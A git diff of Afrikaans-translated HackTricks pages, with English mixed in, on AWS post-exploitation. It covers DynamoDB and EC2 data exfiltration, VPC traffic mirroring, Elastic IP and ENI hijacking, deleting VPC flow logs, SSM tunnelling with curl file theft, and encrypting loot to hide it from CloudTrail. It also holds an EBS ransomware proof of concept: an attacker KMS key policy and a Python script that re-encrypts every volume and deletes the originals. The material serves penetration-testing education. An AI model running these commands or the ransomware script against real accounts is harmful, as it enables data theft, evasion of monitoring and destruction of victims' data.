@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potensiële impak:** Full table exfiltration deur 'n pas geskepte GSI wat alle attributte projekteer, selfs wanneer base table read APIs geweier word.
|
||||
**Potensiële impak:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Aanhoudende exfiltration via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Misbruik van DynamoDB Kinesis streaming destinations om voortdurend veranderinge van 'n tabel na 'n aanvaller-beheerde Kinesis Data Stream te exfiltrate. Sodra dit aangeskakel is, word elke INSERT/MODIFY/REMOVE gebeurtenis naby real-time na die stream gestuur sonder om leespermisse op die tabel te benodig.
|
||||
Misbruik van DynamoDB Kinesis streaming destinations om voortdurend veranderings van 'n tabel na 'n attacker-controlled Kinesis Data Stream te exfiltrate. Sodra dit geaktiveer is, word elke INSERT/MODIFY/REMOVE-gebeurtenis byna in real-time na die stream gestuur sonder dat lees-permissies op die tabel benodig word.
|
||||
|
||||
Minimum permissies (aanvaller):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` op die teiken-tabel
|
||||
Minimale permissies (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Opsioneel `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` om status te monitor
|
||||
- Leespermissies op die aanvaller-beheerde Kinesis stream om rekords te verbruik: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
- Lees-permissies op die attacker-owned Kinesis stream om rekords te verbruik: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -530,8 +530,6 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Potensiële impak:** Aaneenlopende, naby-regstreekse exfiltration van tabelveranderinge na 'n deur 'n aanvaller beheerde Kinesis-stream sonder direkte leesoperasies op die tabel.
|
||||
**Potensiële impak:** Deurlopende, byna reële-tyd eksfiltrasie van tabelveranderinge na 'n deur 'n aanvaller beheerde Kinesis-stream sonder direkte leesbewerkings op die tabel.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+114
-49
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,10 +12,10 @@ Vir meer inligting, kyk:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC-verkeer spieëling **dubbel die inkomende en uitgaande verkeer vir EC2-instances binne 'n VPC** sonder die behoefte om enigiets op die instances self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n netwerk indringing opsporingstelsel (IDS) gestuur word vir analise en monitering.\
|
||||
'n Aanvaller kan dit misbruik om al die verkeer te vang en sensitiewe inligting daaruit te verkry:
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\
|
||||
'n Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiewe inligting daaruit te bekom:
|
||||
|
||||
Vir meer inligting, kyk hierdie bladsy:
|
||||
Vir meer inligting, sien hierdie bladsy:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). egter, 'n ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie rekening) daarvan te laat loop**:
|
||||
Instances bevat gewoonlik 'n vorm van sensitiewe inligting. Daar is verskillende maniere om binne te kom (sien [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 'n Ander manier om te sien wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie account) daaruit te begin**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,109 +49,174 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots is rugste van volumes**, wat gewoonlik **sensitiewe inligting** sal bevat, daarom behoort die nagaan daarvan hierdie inligting te openbaar.\
|
||||
As jy 'n **volume sonder 'n snapshot** vind, kan jy: **Skep 'n snapshot** en die volgende aksies uitvoer of net **mont dit in 'n instansie** binne die rekening:
|
||||
**Snapshots are backups of volumes**, wat gewoonlik **gevoelige inligting** bevat; daarom behoort die kontrole daarvan hierdie inligting te openbaar.\
|
||||
As jy 'n **volume without a snapshot** vind, kan jy: **Create a snapshot** en die volgende aksies uitvoer of net **mount it in an instance** binne die account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dit maak volle off-line forensiese ontleding of data-diefstal moontlik terwyl die instance se netwerk onaangeraak bly.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nuttig wanneer die slagoffer se volume reeds Multi-Attach binne dieselfde AZ geaktiveer is.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Skep 'n EC2 Instance Connect Endpoint, autoriseer ingress, en injekteer ephemerale SSH-sleutels om private instances oor 'n bestuurde tonnel te bereik. Verskaf vinnige laterale bewegingspaaie sonder om publieke poorte oop te stel.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Skuif 'n slagoffer-ENI se sekondêre private IP na 'n aanvaller-beheerde ENI om vertroude hosts te imiteer wat per IP op 'n allowlist is. Laat toe om interne ACLs of SG-reëls wat aan spesifieke adresse gekoppel is, te omseil.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Herassosieer 'n Elastic IP van die slagoffer-instance na die aanvaller om inkomende verkeer te onderskep of uitgaande verbindings te begin wat voorkom asof hulle van vertroude openbare IP's kom.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
As 'n security group-reël na 'n customer-managed prefix list verwys, sal die byvoeging van attacker CIDRs tot daardie lys stilweg die toegang uitbrei oor al die afhanklike SG-reëls sonder om die SG self te wysig.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Skep gateway- of interface VPC endpoints om uitgaande toegang vanaf geïsoleerde subnets te herstel. Die benutting van AWS-managed private links omseil ontbrekende IGW/NAT-kontroles vir data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Wys VPC Flow Logs na 'n aanvaler-beheerde S3-bucket om voortdurend netwerk-metagegewens (bron/bestemming, poorte) buite die slagoffer-rekening te versamel vir langtermyn verkenning.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Selfs as jy 'n EC2 sluit sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.
|
||||
Selfs as jy 'n EC2 toemaak sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs sal dit nie opteken nie**.
|
||||
- **VPC Flow Logs sal dit nie opneem nie**.
|
||||
- Jy het geen toegang tot AWS DNS logs nie.
|
||||
- Deaktiveer dit deur "enableDnsSupport" op vals te stel met:
|
||||
- Deaktiveer dit deur "enableDnsSupport" op false te stel met:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
'n Aanvaller kan API eindpunte van 'n rekening wat deur hom beheer word, aanroep. Cloudtrail sal hierdie oproepe opteken en die aanvaller sal in staat wees om die geexfiltreerde data in die Cloudtrail logs te sien.
|
||||
'n Aanvaller kan API-endpunte van 'n rekening wat hy beheer, aanroep. Cloudtrail sal hierdie oproepe log en die aanvaller sal die exfiltrate data in die Cloudtrail-logs kan sien.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Jy kan verdere toegang tot netwerkdienste verkry deur poorte soos volg te open:
|
||||
Jy kan verdere toegang tot netwerkdienste kry deur poorte soos hierdie oop te maak:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Dit is moontlik om 'n EC2-instantie te draai en dit te registreer om gebruik te word om ECS-instanties te draai en dan die ECS-instanties se data te steel.
|
||||
Dit is moontlik om 'n EC2-instansie te laat loop en dit te registreer sodat dit gebruik kan word om ECS-instanse te laat loop en daarna die data van die ECS-instanse te steel.
|
||||
|
||||
Vir [**meer inligting kyk hierna**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
Vir [**meer inligting, kyk hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Verwyder VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Vereiste toestemmings:
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Benewens opdraguitvoering, laat SSM vir verkeerstunneling wat misbruik kan word om te pivot van EC2-instanties wat nie netwerktoegang het nie weens Sekuriteitsgroepe of NACLs. Een van die scenario's waar dit nuttig is, is om te pivot van 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS-kluster.
|
||||
Benewens command execution, laat SSM verkeerstunneling toe wat misbruik kan word om vanaf EC2 instances te pivot wat geen netwerktoegang het weens Security Groups of NACLs nie.
|
||||
Een scenario waar dit nuttig is, is om te pivot van die [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS cluster.
|
||||
|
||||
> Om 'n sessie te begin, moet jy die SessionManagerPlugin geïnstalleer hê: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Om 'n sessie te begin moet die SessionManagerPlugin geïnstalleer wees: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installeer die SessionManagerPlugin op jou masjien
|
||||
2. Meld aan by die Bastion EC2 met die volgende opdrag:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Kry die Bastion EC2 AWS tydelike geloofsbriewe met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skrip
|
||||
4. Oordra die geloofsbriewe na jou eie masjien in die `$HOME/.aws/credentials` lêer as `[bastion-ec2]` profiel
|
||||
5. Meld aan by EKS as die Bastion EC2:
|
||||
3. Kry die Bastion EC2 AWS tydelike credentials met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Dra die credentials oor na jou eie masjien in die `$HOME/.aws/credentials` lêer as die `[bastion-ec2]` profiel
|
||||
5. Teken in by EKS as die Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Werk die `server` veld in die `$HOME/.kube/config` lêer op om na `https://localhost` te verwys
|
||||
7. Skep 'n SSM-tonnel soos volg:
|
||||
6. Werk die `server`-veld in die `$HOME/.kube/config`-lêer by om na `https://localhost` te wys
|
||||
7. Skep 'n SSM tunnel soos volg:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Die verkeer van die `kubectl` hulpmiddel word nou deur die SSM-tonnel via die Bastion EC2 gestuur en jy kan die private EKS-kluster vanaf jou eie masjien toegang verkry deur die volgende uit te voer:
|
||||
Die verkeer van die `kubectl`-gereedskap word nou deur die SSM-tonnel via die Bastion EC2 deurgestuur, en jy kan vanaf jou eie masjien toegang tot die privaat EKS-kluster kry deur die volgende uit te voer:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Let wel, die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify` vlag (of sy ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle.
|
||||
Let wel dat SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag stel (of die ekwivalent daarvan in K8s-auditgereedskap). Aangesien die verkeer deur die veilige AWS SSM tunnel getunnel word, is jy veilig teen enige soort MitM-aanvalle.
|
||||
|
||||
Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
|
||||
Laastens, hierdie tegniek is nie spesifiek tot die aanval van private EKS clusters nie. Jy kan ewekansige domeine en poorte instel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
|
||||
|
||||
---
|
||||
|
||||
#### Vinige Plaaslike ↔️ Afgeleë Poort Voorwaarts (AWS-StartPortForwardingSession)
|
||||
#### Vinnige Plaaslike ↔️ Afgeleë Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
As jy net **een TCP-poort van die EC2-instantie na jou plaaslike gasheer** moet voorwaarts, kan jy die `AWS-StartPortForwardingSession` SSM-dokument gebruik (geen afgeleë gasheerparameter benodig):
|
||||
As jy slegs een **TCP-poort vanaf die EC2 instance na jou plaaslike gasheer** hoef deur te stuur, kan jy die `AWS-StartPortForwardingSession` SSM-dokument gebruik (geen remote host-parameter benodig):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Die opdrag stel 'n bidireksionele tonnel tussen jou werkstasie (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instansie **sonder om enige inkomende Security-Group reëls te open**.
|
||||
Die opdrag stel 'n tweerigtingtonnel in tussen jou workstation (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instance **sonder om enige inkomende Security-Group-reëls oop te maak**.
|
||||
|
||||
Gewone gebruiksgevalle:
|
||||
Gereelde gebruiksgevalle:
|
||||
|
||||
* **Lêer eksfiltrasie**
|
||||
1. Begin 'n vinnige HTTP-bediener op die instansie wat na die gids wys wat jy wil eksfiltreer:
|
||||
* **File exfiltration**
|
||||
1. Op die instance begin 'n vinnige HTTP-server wat na die gids wys wat jy wil exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Trek die lêers vanaf jou werkstasie deur die SSM-tonnel:
|
||||
2. Vanaf jou workstation haal die lêers op deur die SSM-tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Toegang tot interne webtoepassings (bv. Nessus)**
|
||||
* **Toegang tot interne webtoepassings (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Tip: Komprimeer en enkripteer bewyse voordat jy dit uitbring sodat CloudTrail nie die duidelike teksinhoud log nie:
|
||||
Wenk: Compress and encrypt evidence before exfiltrating it so that CloudTrail does not log the clear-text content:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -168,9 +233,9 @@ Tip: Komprimeer en enkripteer bewyse voordat jy dit uitbring sodat CloudTrail ni
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Soek sensitiewe inligting in openbare en private AMIs
|
||||
### Soek sensitiewe inligting in openbare en privaat AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instansies van teiken AMIs te begin, hul volumes te monteer, en te skandeer vir potensiële geheime of sensitiewe data.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of privaat Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instances vanaf teiken AMIs te loods, hul volumes te mount, en te skandeer vir potensiële secrets of sensitiewe data.
|
||||
|
||||
### Deel EBS Snapshot
|
||||
```bash
|
||||
@@ -178,9 +243,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Management Service met hoe maklik dit is om verskeie AWS dienste te enkripteer deur dit te gebruik.
|
||||
Bewys van konsep soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notas. KMS behoort hernoem te word na RMS vir Ransomware Management Service, gegewe hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer.
|
||||
|
||||
Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS rekening Prinsipaal toe te laat om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Outside Encryption' genoem.
|
||||
Eerstens, vanaf 'attacker' AWS account, skep 'n customer managed key in KMS. Vir hierdie voorbeeld sal AWS net die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die key policy sodat enige AWS account Principal die sleutel kan gebruik. Vir hierdie key policy was die rekening se naam 'AttackSim' en die beleidreël wat alle toegang toelaat, heet 'Outside Encryption'.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -272,7 +337,7 @@ Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel i
|
||||
]
|
||||
}
|
||||
```
|
||||
Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om 'n EBS-volume te enkripteer:
|
||||
Die key policy-regel benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om `n EBS` volume te enkripteer:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -280,21 +345,21 @@ Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanse het met nie-geënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening.
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
|
||||
 
|
||||
|
||||
Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse af te ontkoppel en te verwyder, en uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, te verwyder. 
|
||||
Soortgelyk aan die S3 ransomware example. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep deur snapshots te gebruik, die publicly available key van die 'attacker' account gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2 instances loskoppel en uitvee, en uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, verwyder. 
|
||||
|
||||
Dit lei tot slegs geënkripteerde EBS-volumes wat beskikbaar is in die rekening.
|
||||
Dit lei daartoe dat slegs geënkripteerde EBS-volumes in die account beskikbaar oorbly.
|
||||
|
||||
|
||||
|
||||
Dit is ook die moeite werd om te noem dat die skrip die EC2-instanse gestop het om die oorspronklike EBS-volumes te ontkoppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
|
||||
Verder die moeite werd om te noem, die script het die EC2 instances gestop om die oorspronklike EBS-volumes los te koppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
|
||||
|
||||
|
||||
|
||||
Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buitelandse Enkripsie' beleidreël uit die sleutelbeleid.
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -365,15 +430,15 @@ Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyde
|
||||
]
|
||||
}
|
||||
```
|
||||
Wag 'n oomblik vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.
|
||||
Wag 'n oomblik totdat die nuut ingestelde key policy gepropageer het. Keer dan terug na die 'victim' rekening en probeer om een van die nuut-geënkripteerde EBS-volumes aan te heg. Jy sal vind dat jy die volume kan aanheg.
|
||||
|
||||
 
|
||||
|
||||
Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutelde EBS volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir altyd, aangesien die aangehegte EBS volume nie ontsleut kan word met die sleutel nie, omdat die sleutelbeleid dit nie meer toelaat nie.
|
||||
Maar wanneer jy probeer om die EC2-instance weer aan te skakel met die geënkripteerde EBS-volume, sal dit net misluk en van die 'pending' toestand terug na die 'stopped' toestand gaan en daar bly, omdat die aangehegte EBS-volume nie met die key gedekripteer kan word nie aangesien die key policy dit nie meer toelaat nie.
|
||||
|
||||
 
|
||||
|
||||
Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n 'slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening geheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL ALLE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snapshots herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.
|
||||
Dit is die Python-skrip wat gebruik is. Dit neem AWS creds vir 'n 'victim' rekening en 'n publiek beskikbare AWS ARN-waarde vir die key wat vir enkripsie gebruik sal word. Die skrip sal geënkripteerde kopieë maak van ALLE beskikbare EBS-volumes wat aan ALLE EC2-instances in die geteikende AWS-rekening aangeheg is, dan elke EC2-instance stop, die oorspronklike EBS-volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is verwyder. Dit sal slegs geënkripteerde EBS-volumes in die geteikende 'victim' rekening laat. GEBRUIK HIERDIE SKRIP SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS-VOLUMES VERWYDER. Jy kan dit herstel deur die gebruikte KMS key te gebruik en dit deur snapshots na hul oorspronklike staat te herstel, maar ek wil net hê jy moet bewus wees dat dit uiteindelik 'n ransomware PoC is.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -492,6 +557,6 @@ main()
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [Pentest Partners – Hoe om lêers in AWS te oordra met SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+137
@@ -0,0 +1,137 @@
|
||||
# AWS – Stiekeme skyf-ekssfiltrasie via AMI Store-to-S3 (CreateStoreImageTask)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
Misbruik EC2 AMI export-to-S3 om die volledige skyf van 'n EC2-instansie as 'n enkele rou beeld in S3 uit te voer, en laai dit daarna out-of-band af. Dit vermy snapshot-sharing en produseer een object per AMI.
|
||||
|
||||
## Vereistes
|
||||
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` op die teiken-instansie/AMI
|
||||
- S3 (dieselfde streek): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
|
||||
- KMS ontsleutel op die sleutel wat die AMI-snapshots beskerm (indien EBS standaard-enkripsie aangeskakel is)
|
||||
- S3 bucket policy wat die `vmie.amazonaws.com` service principal vertrou (sien hieronder)
|
||||
|
||||
## Impak
|
||||
- Volledige offline verkryging van die instansie-rootskyf in S3 sonder om snapshots te deel of oor rekeninge te kopieer.
|
||||
- Laat stilswyende forensika toe op inlogbewyse, konfigurasie, en lêerstelselinhoud vanaf die uitgevoerde rou beeld.
|
||||
|
||||
## Hoe om via AMI Store-to-S3 te ekssfiltreer
|
||||
|
||||
- Notas:
|
||||
- Die S3-bucket moet in dieselfde streek as die AMI wees.
|
||||
- In `us-east-1`, `create-bucket` mag NIE `--create-bucket-configuration` insluit nie.
|
||||
- `--no-reboot` skep 'n botsing-konsekwente beeld sonder om die instansie te stop (meer stiekem maar minder konsekwent).
|
||||
|
||||
<details>
|
||||
<summary>Stap-vir-stap opdragte</summary>
|
